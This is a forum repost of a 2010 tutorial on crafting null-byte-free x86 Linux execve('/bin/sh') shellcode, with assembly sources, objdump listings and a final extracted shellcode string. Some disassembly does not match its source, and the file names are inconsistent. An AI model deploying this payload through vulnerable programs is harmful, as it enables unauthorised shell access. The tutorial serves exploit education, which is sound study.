Nytro Posted December 9, 2010 Report Posted December 9, 2010 Shellcoding with Direct Stack Usage - h0yt3r###SHELLCODING WITH DIRECT STACK USAGE###~by h0yt3rHaiThis is an example of how to produce nullbyteless shellcode out of a simple assembler code with two methods of stackusage.I will start with an example which shows how to execute a bourne shell in assembler (nasm):------------bla.asmsection .data binsh db '/bin/sh',0 ;save '/bin/sh' string at data sectionsection .text global _start _start: mov eax,11 ;syscall execve mov ebx,binsh ;move the '/bin/sh' string adress into ebx push 0 ;as the next argument (*const argv[]) is an array push binsh ;we will need to save it on the stack and null-terminate it mov ecx,esp ;then put the first adress of the stack into ecx mov edx,0 ;no *const envp[] int 0x80 ;kernel call ;eof------------Okay we will assemble and link this code:h0yt3r@Cain:~/Desktop$ nasm -f elf bla.asmh0yt3r@Cain:~/Desktop$ ld -o bla bla.oh0yt3r@Cain:~/Desktop$ ./blash-3.2$ exitexitWorks fine. Lets have a look at the objdump.h0yt3r@Cain:~/Desktop$ objdump -D blabla: file format elf32-i386Disassembly of section .text:08048080 <_start>: 8048080: b8 0b 00 00 00 mov $0xb,%eax 8048085: bb a0 90 04 08 mov $0x80490a0,%ebx 804808a: 68 00 00 00 00 push $0x0 804808f: 68 a0 90 04 08 push $0x80490a0 8048094: 89 e1 mov %esp,%ecx 8048096: ba 00 00 00 00 mov $0x0,%edx 804809b: cd 80 int $0x80Disassembly of section .data:080490a0 <binsh>: 80490a0: 2f das 80490a1: 62 69 6e bound %ebp,0x6e(%ecx) 80490a4: 2f das 80490a5: 73 68 jae 804910f <__bss_start+0x67> ...Disassembly of section .comment:00000000 <.comment>: 0: 00 54 68 65 add %dl,0x65(%eax,%ebp,2) 4: 20 4e 65 and %cl,0x65(%esi) 7: 74 77 je 80 <_start-0x8048000> 9: 69 64 65 20 41 73 73 imul $0x65737341,0x20(%ebp,%eiz,2),%esp 10: 65 11: 6d insl (%dx),%es:(%edi) 12: 62 6c 65 72 bound %ebp,0x72(%ebp,%eiz,2) 16: 20 32 and %dh,(%edx) 18: 2e 30 35 2e 30 31 00 xor %dh,%cs:0x31302eh0yt3r@Cain:~/Desktop$As we can see, this code needs more than one section for execution. Its is also full of 0-bytes which is kinda evil for later shellcodesince 0-bytes are treated as string terminator when it is passed as a parameter for example.A _useful_ asm code _without_ different sections and _without_ 0-bytes for later shellcode using the call technique:------------bla2.asmsection .text global _start _start: jmp short two ;we short jump to two for saving '/bin/sh' on the stack (look at two now) one: pop ebx ;as the return adress is saved on top of the stack and points to '/bin/sh', ;it is just popped from the stack and saved into ebx (char *path) ;ok the adress of '/bin/shX' is saved in ebx now. the X will represet the null terminating byte xor eax,eax ;0-out eax mov byte [ebx + 7],al ;this instruction replaces the X with the value of al ;(count seven bytes up the data to which ebx is pointing to and put a null there) => nullterminate /bin/sh ;this will also only work if the shellcode is saved on the stack (eg when its injected into a ;vulnerable programme since we only have write access there) push eax ;=> push 0 for null termination of '/bin/sh' push eax ;restore ebx at the stack so that the stackpointer points to nullterminated '/bin/sh' mov ecx,esp ;stackpointer into ecx (*const argv[]) mov edx,esp ;same to edx (*const envp[]) ;we could also say 'mov edx,0' but this would just produce another 0-byte mov al,11 ;syscall execve int 0x80 ;make the kernelcall two: call one ;on execution we directly jump here and make a call _upwards_ again. ;_upwards_ is important. a call allows much longer jump distances, so if we make a call downwards ;with a value of 10 for example, the rest of the value would be filled with 0-bytes. ;so when we call upwards, we are passing a negative number as value ;(leading to 0xff...) which will not any contain 0-bytes. db '/bin/shX' ;when making a call, the adress of the next instruction is pushed onto the stack and will be ;treated as return adress. This tells the processor where execution flow has to be continued when function ;'one' is finished. in this case, the return adress will just point to the '/bin/sh' string. ;eof------------Lets look at the objdump again h0yt3r@Cain:~/Desktop$ nasm -f elf bla2.asmh0yt3r@Cain:~/Desktop$ ld -o bla2 bla2.oh0yt3r@Cain:~/Desktop$ objdump -d bla2h0yt3r@Cain:~/Desktop$ objdump -d foofoo: file format elf32-i386Disassembly of section .text:08048060 <_start>: 8048060: eb 10 jmp 8048072 <two>08048062 <one>: 8048062: 5b pop %ebx 8048063: 31 c0 xor %eax,%eax 8048065: 88 43 07 mov %al,0x7(%ebx) 8048068: 50 push %eax 8048069: 50 push %eax 804806a: 89 e1 mov %esp,%ecx 804806c: 89 e2 mov %esp,%edx 804806e: b0 0b mov $0xb,%al 8048070: cd 80 int $0x8008048072 <two>: 8048072: e8 eb ff ff ff call 8048062 <one> 8048077: 2f das 8048078: 62 69 6e bound %ebp,0x6e(%ecx) 804807b: 2f das 804807c: 73 68 jae 80480e6 <two+0x74> 804807e: 58 pop %eaxh0yt3r@Cain:~/Desktop$We can see that our code doesn't produce any 0-bytes anymore, so now we could perfectly use it as shellcode.Okay, now an imo more elegant way of code with direct stackusage without calls and jumps:------------bla3.asmsection .text global _start _start: xor eax,eax ;0-out eax push eax ;put 0 onto stack for null-terminating push 0x68732F2F ;put '/bin/sh' onto stack push 0x6E69622F ;actually it is 'hs//nib/' since the string has to be pushed in reversed order. ;we are also using two '/' cos our data needs to stay directly at the 8 byte bound, for not producing 0-bytes mov ebx,esp ;stackpointer (/bin/sh) to ebx (char *path) push eax ; => push 0 push eax ;put ebx onto stack mov ecx,esp ;since ecx needs null-terminated *const argv[] which is same as ebx mov edx,esp ;*const envp[] whatever mov al,11 ;syscall execve int 0x80 ;fire ;eof------------Assembling, linking:h0yt3r@Cain:~/Desktop$ nasm -f elf bla3.asmh0yt3r@Cain:~/Desktop$ ld -o bla2 bla3.oh0yt3r@Cain:~/Desktop$ ./bla3sh-3.2$ exitexith0yt3r@Cain:~/Desktop$ objdump -d bla3bla3: file format elf32-i386Disassembly of section .text:08048060 <_start>: 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: b0 0b mov $0xb,%al 8048065: 68 2f 2f 73 68 push $0x68732f2f 804806a: 68 2f 62 69 6e push $0x6e69622f 804806f: 89 e3 mov %esp,%ebx 8048071: 52 push %edx 8048072: 53 push %ebx 8048073: 89 e1 mov %esp,%ecx 8048075: 89 e2 mov %esp,%edx 8048077: cd 80 int $0x80h0yt3r@Cain:~/Desktop$This looks even better, doesn't it? Now use it!I'll take katharsis' extractor; it's nothing special but kinda useful h0yt3r@Cain:~/Desktop$ perl shellgen.pl bla3[*] shellcode generator[*] written by katharsis[*] www.katharsis.x2.to[*] nebelfrost23@web.de[^] generating opcode...[^] generating shellcode...[^] formating shellcode[^] done, here you are:\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x89\xe2\xcd\x80h0yt3r@Cain:~/Desktop$ Quote